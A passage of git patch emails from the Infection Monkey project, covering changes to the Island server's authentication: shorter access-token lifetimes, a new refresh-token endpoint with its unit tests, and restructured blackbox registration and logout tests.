monkey_island.cc.services.authentication_service.token import ( - TokenGenerator, - TokenValidator, -) +from monkey_island.cc.services.authentication_service.token import TokenGenerator, TokenValidator from monkey_island.cc.services.representations import output_json HOME_FILE = "index.html" From 9c043c91c8d31e1a1269eb3441dde7ba821ef82a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 31 Mar 2023 07:06:05 -0400 Subject: [PATCH 0988/1338] Common: Remove disused Singleton class --- monkey/common/utils/code_utils.py | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) diff --git a/monkey/common/utils/code_utils.py b/monkey/common/utils/code_utils.py index b812739de7c..f5ea7a90d4a 100644 --- a/monkey/common/utils/code_utils.py +++ b/monkey/common/utils/code_utils.py @@ -4,7 +4,7 @@ import secrets import string from threading import Event, Thread -from typing import Any, Callable, Dict, Iterable, List, MutableMapping, Optional, Type, TypeVar +from typing import Any, Callable, Iterable, List, MutableMapping, Optional, TypeVar T = TypeVar("T") @@ -26,15 +26,6 @@ def apply_filters(filters: Iterable[Callable[[T], bool]], iterable: Iterable[T]) return filtered_iterable -class Singleton(type): - _instances: Dict[Type, type] = {} - - def __call__(cls, *args, **kwargs): - if cls not in cls._instances: - cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs) - return cls._instances[cls] - - def queue_to_list(q: queue.Queue) -> List[Any]: list_ = [] try: From a7d832edd2906ae9b543e43ee4e31bba49cdab10 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 31 Mar 2023 16:02:08 +0300 Subject: [PATCH 0989/1338] Island: Change access token lifetime to 15 minutes This change means that the user will be able to be AFK for at most 17 minutes 59 seconds before getting logged out. Refresh token being 3 minutes means that the user has to be AFK at least 3 minutes to get logged out. --- .../authentication_service/configure_flask_security.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index 2f2837db0f0..9455c8edaa1 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -16,7 +16,7 @@ from .user import User SECRET_FILE_NAME = ".flask_security_configuration.json" -AUTH_EXPIRATION_TIME = 30 * 60 # 30 minutes +ACCESS_TOKEN_LIFETIME = 15 * 60 # 15 minutes # Refresh token lives for 3 minutes longer than auth token REFRESH_TOKEN_EXPIRATION_DELTA = 3 * 60 # 3 minutes @@ -32,7 +32,7 @@ def configure_flask_security(app, data_dir: Path) -> Security: app.config["SECURITY_REGISTERABLE"] = True app.config["SECURITY_SEND_REGISTER_EMAIL"] = False - app.config["SECURITY_TOKEN_MAX_AGE"] = AUTH_EXPIRATION_TIME + app.config["SECURITY_TOKEN_MAX_AGE"] = ACCESS_TOKEN_LIFETIME # This is a custom configuration parameter that we use # It shows how much time the refresh token is valid after the auth token expires app.config["SECURITY_REFRESH_TOKEN_TIMEDELTA"] = REFRESH_TOKEN_EXPIRATION_DELTA From b88a27f6ff35929c62afc1239d1f84820250aef6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 31 Mar 2023 12:40:45 -0400 Subject: [PATCH 0990/1338] Island: Rename ACCESS_TOKEN_{LIFETIME,TTL} --- .../authentication_service/configure_flask_security.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index 9455c8edaa1..769814e5d9b 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -16,7 +16,7 @@ from .user import User SECRET_FILE_NAME = ".flask_security_configuration.json" -ACCESS_TOKEN_LIFETIME = 15 * 60 # 15 minutes +ACCESS_TOKEN_TTL = 15 * 60 # 15 minutes # Refresh token lives for 3 minutes longer than auth token REFRESH_TOKEN_EXPIRATION_DELTA = 3 * 60 # 3 minutes @@ -32,7 +32,7 @@ def configure_flask_security(app, data_dir: Path) -> Security: app.config["SECURITY_REGISTERABLE"] = True app.config["SECURITY_SEND_REGISTER_EMAIL"] = False - app.config["SECURITY_TOKEN_MAX_AGE"] = ACCESS_TOKEN_LIFETIME + app.config["SECURITY_TOKEN_MAX_AGE"] = ACCESS_TOKEN_TTL # This is a custom configuration parameter that we use # It shows how much time the refresh token is valid after the auth token expires app.config["SECURITY_REFRESH_TOKEN_TIMEDELTA"] = REFRESH_TOKEN_EXPIRATION_DELTA From f2d97b15904ce908c27dd5ffa5865a4c3de9b87c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 31 Mar 2023 09:29:16 -0400 Subject: [PATCH 0991/1338] BB: Make registration step explicit Every logout test was running a registration request since registration was performed in the `MonkeyIslandClient`'s constructor. Additionally, since the fixture was autouse, it was being run even on tests that didn't need it. --- .../island_client/monkey_island_client.py | 7 ++++++ .../island_client/monkey_island_requests.py | 25 +++++++++++-------- .../reauthorizing_monkey_island_requests.py | 3 +++ envs/monkey_zoo/blackbox/test_blackbox.py | 3 ++- 4 files changed, 26 insertions(+), 12 deletions(-) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py index 8b27d48a6d0..30af17f9324 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py @@ -179,6 +179,13 @@ def is_all_monkeys_dead(self): agents = self.get_agents() return all((a.stop_time is not None for a in agents)) + def register(self): + try: + self.requests.register() + LOGGER.info("Successfully registered a user with the Island.") + except Exception: + LOGGER.error("Failed to register a user with the Island.") + def login(self): try: self.requests.login() diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index 932103a63cd..5bad2ab74ff 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -17,6 +17,9 @@ class InvalidRequestError(Exception): class MonkeyIslandRequests(IMonkeyIslandRequests): def __init__(self, server_address): self.addr = f"https://{server_address}/" + self.token = None + + def register(self): self.token = self._try_get_token_from_server() def _try_get_token_from_server(self): @@ -25,33 +28,33 @@ def _try_get_token_from_server(self): except InvalidRequestError: return self.get_token_from_server() - def login(self): - self.token = self.get_token_from_server() - - def get_token_from_server(self): + def _try_set_island_to_credentials(self): resp = requests.post( # noqa: DUO123 - self.addr + "api/login", + self.addr + "api/register", json={"username": ISLAND_USERNAME, "password": ISLAND_PASSWORD}, verify=False, ) + if resp.status_code == 409: + # A user has already been registered + return + if resp.status_code == 400: raise InvalidRequestError() token = resp.json()["response"]["user"]["authentication_token"] return token - def _try_set_island_to_credentials(self): + def login(self): + self.token = self.get_token_from_server() + + def get_token_from_server(self): resp = requests.post( # noqa: DUO123 - self.addr + "api/register", + self.addr + "api/login", json={"username": ISLAND_USERNAME, "password": ISLAND_PASSWORD}, verify=False, ) - if resp.status_code == 409: - # A user has already been registered - return - if resp.status_code == 400: raise InvalidRequestError() diff --git a/envs/monkey_zoo/blackbox/island_client/reauthorizing_monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/reauthorizing_monkey_island_requests.py index 8fb08ea6870..c98f08611be 100644 --- a/envs/monkey_zoo/blackbox/island_client/reauthorizing_monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/reauthorizing_monkey_island_requests.py @@ -12,6 +12,9 @@ def __init__(self, monkey_island_requests: IMonkeyIslandRequests): def get_token_from_server(self): return self.requests.get_token_from_server() + def register(self): + self.requests.register() + def login(self): self.requests.login() diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 84b466c630b..5fbdf002b74 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -80,13 +80,14 @@ def monkey_island_requests(island) -> IMonkeyIslandRequests: return MonkeyIslandRequests(island) -@pytest.fixture(scope="class", autouse=True) +@pytest.fixture(scope="class") def island_client(monkey_island_requests): client_established = False try: requests = ReauthorizingMonkeyIslandRequests(monkey_island_requests) island_client_object = MonkeyIslandClient(requests) client_established = island_client_object.get_api_status() + island_client_object.register() except Exception: logging.exception("Got an exception while trying to establish connection to the Island.") finally: From 4853c91591a7cd5741bfa29fe47e346e5d739917 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 31 Mar 2023 10:24:59 -0400 Subject: [PATCH 0992/1338] BB: Assume empty machine dict --- envs/monkey_zoo/blackbox/conftest.py | 2 +- envs/monkey_zoo/blackbox/gcp_test_machine_list.py | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/envs/monkey_zoo/blackbox/conftest.py b/envs/monkey_zoo/blackbox/conftest.py index 7583d50ad43..344eecdb14f 100644 --- a/envs/monkey_zoo/blackbox/conftest.py +++ b/envs/monkey_zoo/blackbox/conftest.py @@ -35,7 +35,7 @@ def gcp_machines_to_start(request: pytest.FixtureRequest) -> Mapping[str, Collec machines_to_start: Dict[str, Set[str]] = {} enabled_tests = (test.originalname for test in request.node.items) - machines_for_enabled_tests = (GCP_SINGLE_TEST_LIST[test] for test in enabled_tests) + machines_for_enabled_tests = (GCP_SINGLE_TEST_LIST.get(test, {}) for test in enabled_tests) for machine_dict in machines_for_enabled_tests: for zone, machines in machine_dict.items(): diff --git a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py index c698cdb4757..afa5057ce76 100644 --- a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py +++ b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py @@ -103,7 +103,6 @@ SMB_PTH = {"europe-west3-a": ["mimikatz-15"]} GCP_SINGLE_TEST_LIST = { - "test_logout": {}, "test_depth_2_a": DEPTH_2_A, "test_depth_1_a": DEPTH_1_A, "test_depth_3_a": DEPTH_3_A, From 267806716613ff20d683fc9d1762ca8a7edbb6a4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 31 Mar 2023 11:17:34 -0400 Subject: [PATCH 0993/1338] BB: Return token on 409 CONFLICT The register function should not set `self.token = None`. --- .../blackbox/island_client/monkey_island_requests.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index 5bad2ab74ff..d538b6777f7 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -1,4 +1,5 @@ import logging +from http import HTTPStatus from typing import Dict import requests @@ -35,11 +36,11 @@ def _try_set_island_to_credentials(self): verify=False, ) - if resp.status_code == 409: + if resp.status_code == HTTPStatus.CONFLICT: # A user has already been registered - return + return self.get_token_from_server() - if resp.status_code == 400: + if resp.status_code == HTTPStatus.BAD_REQUEST: raise InvalidRequestError() token = resp.json()["response"]["user"]["authentication_token"] From 22d9bdd00c6720db659a65ec6f0da94ce652d0d0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 31 Mar 2023 11:23:50 -0400 Subject: [PATCH 0994/1338] BB: Add universal registration fixture for all tests Limits registration to 1 attempt, and no longer calls registration endpoint for every test. --- envs/monkey_zoo/blackbox/test_blackbox.py | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 5fbdf002b74..79fc8b475d6 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -75,27 +75,33 @@ def wait_machine_bootup(): sleep(MACHINE_BOOTUP_WAIT_SECONDS) -@pytest.fixture(scope="module") +@pytest.fixture(scope="session") def monkey_island_requests(island) -> IMonkeyIslandRequests: return MonkeyIslandRequests(island) -@pytest.fixture(scope="class") +@pytest.fixture(scope="session") def island_client(monkey_island_requests): client_established = False try: requests = ReauthorizingMonkeyIslandRequests(monkey_island_requests) island_client_object = MonkeyIslandClient(requests) client_established = island_client_object.get_api_status() - island_client_object.register() except Exception: logging.exception("Got an exception while trying to establish connection to the Island.") finally: if not client_established: pytest.exit("BB tests couldn't establish communication to the island.") + yield island_client_object +@pytest.fixture(autouse=True, scope="session") +def register(island_client): + logging.info("Registering a new user") + island_client.register() + + @pytest.mark.parametrize( "authenticated_endpoint", [ @@ -104,7 +110,8 @@ def island_client(monkey_island_requests): GET_MACHINES_ENDPOINT, ], ) -def test_logout(monkey_island_requests, authenticated_endpoint): +def test_logout(island, authenticated_endpoint): + monkey_island_requests = MonkeyIslandRequests(island) # Prove that we can't access authenticated endpoints without logging in resp = monkey_island_requests.get(authenticated_endpoint) assert resp.status_code == HTTPStatus.UNAUTHORIZED From 7c966bb23aed8d906f9f0c4245e5f2d5c7517776 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 31 Mar 2023 11:24:50 -0400 Subject: [PATCH 0995/1338] BB: Add test_logout_invalidates_all_tokens() --- envs/monkey_zoo/blackbox/test_blackbox.py | 25 +++++++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 79fc8b475d6..8f728b67636 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -131,6 +131,31 @@ def test_logout(island, authenticated_endpoint): assert resp.status_code == HTTPStatus.UNAUTHORIZED +def test_logout_invalidates_all_tokens(island): + monkey_island_requests_1 = MonkeyIslandRequests(island) + monkey_island_requests_2 = MonkeyIslandRequests(island) + + monkey_island_requests_1.login() + monkey_island_requests_2.login() + + # Prove that we can access authenticated endpoints after logging in + resp_1 = monkey_island_requests_1.get(GET_AGENTS_ENDPOINT) + resp_2 = monkey_island_requests_2.get(GET_AGENTS_ENDPOINT) + assert resp_1.ok + assert resp_2.ok + + # Log out - NOTE: This is an "out-of-band" call to logout. DO NOT call + # `monkey_island_request.logout()`. This could allow implementation details of the + # MonkeyIslandRequests class to cause false positives. + # NOTE: Logout is ONLY called on monkey_island_requests_1. This is to prove that + # monkey_island_requests_2 also gets logged out. + monkey_island_requests_1.post(LOGOUT_ENDPOINT, data=None) + + # Prove monkey_island_requests_2 can't authenticate after monkey_island_requests_1 logs out. + resp = monkey_island_requests_2.get(GET_AGENTS_ENDPOINT) + assert resp.status_code == HTTPStatus.UNAUTHORIZED + + # NOTE: These test methods are ordered to give time for the slower zoo machines # to boot up and finish starting services. # noinspection PyUnresolvedReferences From aac983d6eea49e4b3b1df873d5cb14c63538df8d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 30 Mar 2023 18:14:09 +0300 Subject: [PATCH 0996/1338] Island: Add token refresh endpoint --- .../authentication_facade.py | 16 ++++++ .../flask_resources/token.py | 51 +++++++++++++++++++ .../flask_resources/utils.py | 5 +- .../token/token_validator.py | 7 +++ 4 files changed, 78 insertions(+), 1 deletion(-) create mode 100644 monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 8eef553198e..f728c9fb7eb 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -1,3 +1,5 @@ +from typing import Tuple + from flask_security import UserDatastore from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic @@ -42,6 +44,20 @@ def revoke_all_tokens_for_user(self, user: User): """ self._datastore.set_uniquifier(user) + def generate_new_token_pair(self, refresh_token: Token) -> Tuple[Token, Token]: + """ + Generates a new access token and refresh, given a valid refresh token + + :param refresh_token: Refresh token + :raise Exception: If the refresh token is invalid + :return: Tuple of the new access token and refresh token + """ + user_uniquifier = self._refresh_token_validator.get_token_payload(refresh_token) + user = User.objects.get(fs_uniquifier=user_uniquifier) + new_access_token = user.get_auth_token() + new_refresh_token = self._token_generator.generate_token(user_uniquifier) + return new_access_token, new_refresh_token + def generate_refresh_token(self, user: User) -> Token: """ Generates a refresh token for a specific user diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py new file mode 100644 index 00000000000..fe36e5bc579 --- /dev/null +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py @@ -0,0 +1,51 @@ +import logging +from http import HTTPStatus + +from flask import Response, make_response, request +from flask.typing import ResponseValue +from flask_login import current_user +from flask_security.views import login + +from monkey_island.cc.flask_utils import AbstractResource, responses + +from ..authentication_facade import AuthenticationFacade +from .utils import ( + REFRESH_TOKEN_KEY_NAME, + add_refresh_token_to_response, + get_username_password_from_request, + include_auth_token, +) + +logger = logging.getLogger(__name__) + + +class Token(AbstractResource): + """ + A resource for user authentication + """ + + urls = ["/api/token"] + + def __init__(self, authentication_facade: AuthenticationFacade): + self._authentication_facade = authentication_facade + + def post(self): + """ + Accepts a refresh token and returns a new token pair + + :return: Access token in the response body + :raises IncorrectCredentialsError: If credentials are invalid + """ + try: + old_refresh_token = request.json[REFRESH_TOKEN_KEY_NAME] + access_token, refresh_token = self._authentication_facade.generate_new_token_pair( + old_refresh_token + ) + response = { + "response": { + "user": {"access_token": access_token, REFRESH_TOKEN_KEY_NAME: refresh_token} + } + } + return response, 200 + except Exception: + return responses.make_response_to_invalid_request() diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py index fc484553e45..43acecf600e 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/utils.py @@ -40,6 +40,9 @@ def decorated_function(*args, **kwargs): return decorated_function +REFRESH_TOKEN_KEY_NAME = "refresh_token" + + def add_refresh_token_to_response(response: Response, refresh_token: Token) -> Response: """ Returns a copy of the response object with the refresh token added to it @@ -49,6 +52,6 @@ def add_refresh_token_to_response(response: Response, refresh_token: Token) -> R :return: A Flask Response object """ new_data = deepcopy(response.json) - new_data["response"]["user"]["refresh_token"] = refresh_token + new_data["response"]["user"][REFRESH_TOKEN_KEY_NAME] = refresh_token response.data = json.dumps(new_data).encode() return response diff --git a/monkey/monkey_island/cc/services/authentication_service/token/token_validator.py b/monkey/monkey_island/cc/services/authentication_service/token/token_validator.py index 86fa1944402..ce713ff8396 100644 --- a/monkey/monkey_island/cc/services/authentication_service/token/token_validator.py +++ b/monkey/monkey_island/cc/services/authentication_service/token/token_validator.py @@ -16,3 +16,10 @@ def validate_token(self, token: Token): :raises SignatureExpired: If the token has expired """ self._token_serializer.loads(token, max_age=self._token_expiration) + + def get_token_payload(self, token: Token) -> str: + """ + Returns the payload of a token + :param token: Token to get the payload of + """ + return str(self._token_serializer.loads(token, max_age=self._token_expiration)) From 73e24f4ce302de559121f35241c879086a0eb971 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 30 Mar 2023 20:25:20 +0000 Subject: [PATCH 0997/1338] Island: Remove unused imports in token.py --- .../flask_resources/token.py | 14 +++----------- 1 file changed, 3 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py index fe36e5bc579..36d8d92029d 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/token.py @@ -1,20 +1,12 @@ import logging from http import HTTPStatus -from flask import Response, make_response, request -from flask.typing import ResponseValue -from flask_login import current_user -from flask_security.views import login +from flask import request from monkey_island.cc.flask_utils import AbstractResource, responses from ..authentication_facade import AuthenticationFacade -from .utils import ( - REFRESH_TOKEN_KEY_NAME, - add_refresh_token_to_response, - get_username_password_from_request, - include_auth_token, -) +from .utils import REFRESH_TOKEN_KEY_NAME logger = logging.getLogger(__name__) @@ -46,6 +38,6 @@ def post(self): "user": {"access_token": access_token, REFRESH_TOKEN_KEY_NAME: refresh_token} } } - return response, 200 + return response, HTTPStatus.OK except Exception: return responses.make_response_to_invalid_request() From b0b7a7f82436dd04905dc9f4c0fe09495e0848bd Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 30 Mar 2023 20:25:58 +0000 Subject: [PATCH 0998/1338] Island: Add Token to package imports --- .../services/authentication_service/flask_resources/__init__.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py index 346e137be97..f9d41e75216 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py @@ -5,3 +5,4 @@ from .register_resources import register_resources from .agent_otp import AgentOTP from .agent_otp_login import AgentOTPLogin +from .token import Token From 3789d823cd595800b414ab7ec3d8ec72c9fc0b06 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 30 Mar 2023 20:27:53 +0000 Subject: [PATCH 0999/1338] UT: Add tests for Token resource --- .../authentication_service/conftest.py | 2 + .../flask_resources/test_token.py | 53 +++++++++++++++++++ 2 files changed, 55 insertions(+) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_token.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py index eeee4f52ab3..e189b9e9e43 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py @@ -13,6 +13,7 @@ Logout, Register, RegistrationStatus, + Token, ) REFRESH_TOKEN = "refresh_token" @@ -45,6 +46,7 @@ def get_mock_auth_app(authentication_facade: AuthenticationFacade): ) api.add_resource(AgentOTP, *AgentOTP.urls) api.add_resource(AgentOTPLogin, *AgentOTPLogin.urls) + api.add_resource(Token, *Token.urls, resource_class_args=(authentication_facade,)) return app diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_token.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_token.py new file mode 100644 index 00000000000..f4a3483c0f9 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_token.py @@ -0,0 +1,53 @@ +from http import HTTPStatus + +import pytest + +from monkey_island.cc.services.authentication_service.authentication_facade import ( + AuthenticationFacade, +) +from monkey_island.cc.services.authentication_service.flask_resources.token import Token +from monkey_island.cc.services.authentication_service.flask_resources.utils import ( + REFRESH_TOKEN_KEY_NAME, +) + +REQUEST_AUTHENTICATION_TOKEN = "my_authentication_token" +REQUEST_REFRESH_TOKEN = "my_refresh_token" +REQUEST = {REFRESH_TOKEN_KEY_NAME: REQUEST_REFRESH_TOKEN} + +NEW_AUTHENTICATION_TOKEN = "new_authentication_token" +NEW_REFRESH_TOKEN = "new_refresh_token" + + +@pytest.fixture +def request_token(flask_client): + url = Token.urls[0] + + def inner(request_body): + return flask_client.post(url, json=request_body, follow_redirects=True) + + return inner + + +def test_token__provides_refreshed_token( + request_token, mock_authentication_facade: AuthenticationFacade +): + mock_authentication_facade.generate_new_token_pair.return_value = ( + NEW_AUTHENTICATION_TOKEN, + NEW_REFRESH_TOKEN, + ) + + response = request_token(REQUEST) + + assert response.status_code == HTTPStatus.OK + assert response.json["response"]["user"]["refresh_token"] == NEW_REFRESH_TOKEN + assert response.json["response"]["user"]["access_token"] == NEW_AUTHENTICATION_TOKEN + + +def test_token__fails_if_refresh_token_is_invalid( + request_token, mock_authentication_facade: AuthenticationFacade +): + mock_authentication_facade.generate_new_token_pair.side_effect = Exception() + + response = request_token(REQUEST) + + assert response.status_code == HTTPStatus.BAD_REQUEST From c75b53b290834b86c1a20b0333658a224da7d8d2 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 30 Mar 2023 20:28:48 +0000 Subject: [PATCH 1000/1338] UT: Test AuthenticationFacade.generate_new_token_pair --- .../test_authentication_service.py | 40 +++++++++++++++++++ 1 file changed, 40 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 76139108bb8..a36d52e4657 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -116,6 +116,46 @@ def test_handle_sucessful_login( assert mock_repository_encryptor.unlock.call_args[0][0] != PASSWORD +def test_generate_new_token_pair__generates_tokens( + mock_token_generator: TokenGenerator, + mock_token_validator: TokenValidator, + authentication_facade: AuthenticationFacade, +): + refresh_token = "original_token" + user = User(username=USERNAME, password=PASSWORD, fs_uniquifier="a") + user.save() + mock_token_generator.generate_token.return_value = "new_token" + mock_token_validator.get_token_payload.return_value = "a" + access_token, new_refresh_token = authentication_facade.generate_new_token_pair(refresh_token) + + assert new_refresh_token != refresh_token + assert access_token != refresh_token + assert access_token != new_refresh_token + + +def test_generate_new_token_pair__fails_if_user_does_not_exist( + authentication_facade: AuthenticationFacade, +): + user = User(username=USERNAME, password=PASSWORD, fs_uniquifier="a") + refresh_token = authentication_facade.generate_refresh_token(user) + + with pytest.raises(Exception): + authentication_facade.generate_new_token_pair(refresh_token) + + +def test_generate_new_token_pair__fails_if_refresh_token_expired( + mock_token_validator: TokenValidator, + authentication_facade: AuthenticationFacade, +): + user = User(username=USERNAME, password=PASSWORD, fs_uniquifier="a") + user.save() + refresh_token = authentication_facade.generate_refresh_token(user) + mock_token_validator.get_token_payload.side_effect = Exception() + + with pytest.raises(Exception): + authentication_facade.generate_new_token_pair(refresh_token) + + def test_revoke_all_tokens_for_all_users( mock_user_datastore: UserDatastore, authentication_facade: AuthenticationFacade, From 7681e3362e9976b43a32c5e059adcff05d1b87b2 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 31 Mar 2023 12:50:27 +0530 Subject: [PATCH 1001/1338] UT: Add tests for TokenValidator.get_token_payload() --- .../token/test_token_validator.py | 43 ++++++++++++++++++- 1 file changed, 42 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py index 10de8e4b728..1b3827ed896 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py @@ -41,7 +41,7 @@ def test_validate_refresh_token__expired(freezer): token_validator.validate_token(token) -def test_validate_refresh_token__invalid(freezer): +def test_validate_refresh_token__invalid(): token_expiration = 1 * 60 # 1 minute invalid_token = "invalid_token" @@ -50,3 +50,44 @@ def test_validate_refresh_token__invalid(freezer): with pytest.raises(BadData): token_validator.validate_token(invalid_token) + + +def test_get_token_payload(): + token_expiration_timedelta = 1 * 60 # 1 minute + payload = "fake_user_id" + + app, _ = build_app() + token_generator = TokenGenerator(app.security) + token_validator = TokenValidator(app.security, token_expiration_timedelta) + + token = token_generator.generate_token(payload) + + assert token_validator.get_token_payload(token) == payload + + +def test_get_token_payload__expired_token(freezer): + token_expiration = 1 * 60 # 1 minute + generation_time = "2020-01-01 00:00:00" + validation_time = "2020-01-01 00:03:30" + payload = "fake_user_id" + + app, _ = build_app() + token_generator = TokenGenerator(app.security) + freezer.move_to(generation_time) + token = token_generator.generate_token(payload) + token_validator = TokenValidator(app.security, token_expiration) + freezer.move_to(validation_time) + + with pytest.raises(SignatureExpired): + token_validator.get_token_payload(token) + + +def test_get_token_payload__invalid_token(): + token_expiration = 1 * 60 # 1 minute + invalid_token = "invalid_token" + + app, _ = build_app() + token_validator = TokenValidator(app.security, token_expiration) + + with pytest.raises(BadData): + token_validator.get_token_payload(invalid_token) From c97dbf0e985db0b7fdd5c18039c26380d79b876f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 31 Mar 2023 13:03:24 +0530 Subject: [PATCH 1002/1338] UT: Add failing test for TokenValidator.validate_token() If a new refresh token is generated, even if the old token isn't expired yet, the new one should be invalidated. We shouldn't have two valid refresh tokens for a user. --- .../token/test_token_validator.py | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py index 1b3827ed896..bc97a8c24f5 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/token/test_token_validator.py @@ -24,6 +24,26 @@ def test_validate_token__valid(freezer): token_validator.validate_token(token) +def test_validate_token__old_token_invalid_on_new_token_generated(): + token_expiration_timedelta = 1 * 60 # 1 minute + payload = "fake_user_id" + + app, _ = build_app() + token_generator = TokenGenerator(app.security) + token_validator = TokenValidator(app.security, token_expiration_timedelta) + + token_1 = 